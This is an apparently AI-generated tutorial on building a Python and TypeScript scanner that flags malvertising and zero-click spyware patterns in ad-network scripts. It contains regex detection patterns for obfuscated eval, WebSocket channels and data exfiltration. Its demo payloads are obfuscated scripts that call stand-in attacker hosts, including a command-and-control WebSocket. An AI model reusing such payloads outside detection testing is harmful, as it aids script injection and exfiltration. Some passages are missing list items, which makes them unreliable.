

Context: Recent reports indicate that an Israeli advertising firm was used as a delivery vector for Candiru’s zero-click spyware. This involves injecting malicious scripts into legitimate ad-serving workflows to bypass traditional browser security.
For developers and security researchers, understanding how to detect and defend against "Malvertising" (malicious advertising) is critical. This guide provides a framework for building a Security Monitoring Service that analyzes ad-network payloads for suspicious patterns typical of zero-click delivery vectors.
Before beginning, ensure you have the following:
curl or Postman for testing API endpoints.# Create a virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install required libraries
pip install requests pydantic python-dotenv colorama
# Initialize project
npm init -y
# Install dependencies
npm install axios dotenv zod chalk
# For TypeScript support
npm install -D typescript ts-node @types/node
We will implement a Payload Analyzer that scans incoming ad-tech scripts for "Zero-Click Indicators" (e.g., obfuscated eval(), unexpected WebSocket connections, or heap-spraying patterns).
analyzer.py
import os
import re
import json
from typing import List, Dict
from pydantic import BaseModel, ValidationError
from dotenv import load_dotenv
# Load environment variables
load_dotenv()
# Define the structure of a Security Report
class SecurityReport(BaseModel):
threat_level: str
detected_patterns: List[str]
payload_snippet: str
class AdTechSecurityScanner:
def __init__(self):
# Patterns often used in zero-click/spyware delivery
self.malicious_patterns = {
"obfuscated_eval": r"eval\(.*atob\(.*\).*\)",
"suspicious_websocket": r"new\s+WebSocket\(",
"heap_spray_attempt": r"(\x90){10,}", # NOP sled detection
"data_exfiltration": r"fetch\(.*\/api\/v1\/telemetry.*\)",
}
def scan_payload(self, script_content: str) -> Dict:
"""
Scans a string of code for known malicious patterns.
"""
findings = []
for pattern_name, regex in self.malicious_patterns.items():
if re.search(regex, script_content, re.IGNORECASE):
findings.append(pattern_name)
# Determine threat level
level = "LOW"
if len(findings) >= 2:
level = "CRITICAL"
elif len(findings) == 1:
level = "MEDIUM"
return {
"threat_level": level,
"detected_patterns": findings,
"payload_snippet": script_content[:100] + "..." # Truncate for safety
}
def main():
scanner = AdTechSecurityScanner()
# Simulated malicious payload (mimicking a Candiru-style injection)
malicious_payload = """
<script>
var _0x4a21 = "aHR0cHM6Ly9tYWxpY2lvdXMtY29ubmVjdGlvbi5jb20=";
eval(atob(_0x4a21));
var ws = new WebSocket('wss://attacker-c2-server.com');
</script>
"""
try:
print("[*] Starting Payload Analysis...")
result_data = scanner.scan_payload(malicious_payload)
# Validate data using Pydantic
report = SecurityReport(**result_data)
print(f"\n[!] ANALYSIS COMPLETE")
print(f"Status: {report.threat_level}")
print(f"Patterns Found: {', '.join(report.detected_patterns)}")
print(f"Snippet: {report.payload_snippet}")
except ValidationError as e:
print(f"[!] Data validation error: {e.json()}")
except Exception as e:
print(f"[!] An unexpected error occurred: {e}")
if __name__ == "__main__":
main()
analyzer.ts
import axios from 'axios';
import dotenv from 'dotenv';
import { z } from 'zod';
import chalk from 'chalk';
dotenv.config();
// Schema for the security report using Zod
const SecurityReportSchema = z.object({
threatLevel: z.enum(['LOW', 'MEDIUM', 'HIGH', 'CRITICAL']),
detectedPatterns: z.array(z.string()),
isMalicious: z.boolean(),
});
type SecurityReport = z.infer<typeof SecurityReportSchema>;
class AdScanner {
private patterns: Record<string, RegExp> = {
obfuscated_eval: /eval\(.*atob\(.*\)/i,
suspicious_ws: /new\s+WebSocket/i,
hidden_iframe: /<iframe\s+src="data:text\/html/i,
};
public async analyze(payload: string): Promise<SecurityReport> {
const findings: string[] = [];
// Check against regex patterns
for (const [name, regex] of Object.entries(this.patterns)) {
if (regex.test(payload)) {
findings.push(name);
}
}
const isMalicious = findings.length > 0;
let threatLevel: SecurityReport['threatLevel'] = 'LOW';
if (findings.length >= 2) threatLevel = 'CRITICAL';
else if (isMalicious) threatLevel = 'MEDIUM';
return {
threatLevel,
detectedPatterns: findings,
isMalicious,
};
}
}
async function runDemo() {
const scanner = new AdScanner();
// Simulated payload injected via ad-network
const suspiciousPayload = `
<script>
function load() {
const data = atob('ZmV0Y2goImh0dHBzOi8vYmFkLWRvbWFpbi5jb20iKQ==');
eval(data);
}
load();
</script>
`;
console.log(chalk.blue('🚀 Initializing Security Scan...'));
try {
const result = await scanner.analyze(suspiciousPayload);
// Validate result
const validatedReport = SecurityReportSchema.parse(result);
if (validatedReport.isMalicious) {
console.log(chalk.red.bold('\n[ALARM] MALICIOUS PAYLOAD DETECTED!'));
console.log(chalk.red(`Threat Level: ${validatedReport.threatLevel}`));
console.log(chalk.yellow(`Patterns: ${validatedReport.detectedPatterns.join(', ')}`));
} else {
console.log(chalk.green('\n[SAFE] Payload passed inspection.'));
}
} catch (error) {
console.error(chalk.red('Validation/Execution Error:'), error);
}
}
runDemo();
To keep your implementation production-ready, never hardcode API keys or threat intelligence endpoints. Use a .env file.
Create a .env file:
# Threat Intel API Keys
VIRUSTOTAL_API_KEY=your_api_key_here
CROWDSTRIKE_CLIENT_ID=your_client_id
CROWDSTRIKE_CLIENT_SECRET=your_client_secret
# Application Settings
LOG_LEVEL=DEBUG
SCANNER_THRESHOLD=MEDIUM
SANDBOX_URL=http://localhost:8080/sandbox
When building security middleware for ad-tech, developers typically use these three patterns:
| Error | Cause | Fix |
|---|---|---|
ValidationError (Python/TS) | The scanner output didn't match the expected schema. | Check if your regex logic is returning extra fields or missing required fields. |
TimeoutError | The sandbox/API is taking too long to respond. | Increase the timeout setting in axios or requests or optimize the regex. |
False Positives | Legitimate obfuscated code (like minified JS) triggered the alarm. | Refine regex patterns to require both atob AND eval to reduce noise. |
Memory Leak | Running many regex scans on large payloads. | Use re.finditer in Python or limit the input string size before scanning. |
Before deploying this to a production ad-serving pipeline:
CRITICAL threats are detected.Source: Security Week AI
Follow ICARAX for more AI insights and tutorials.
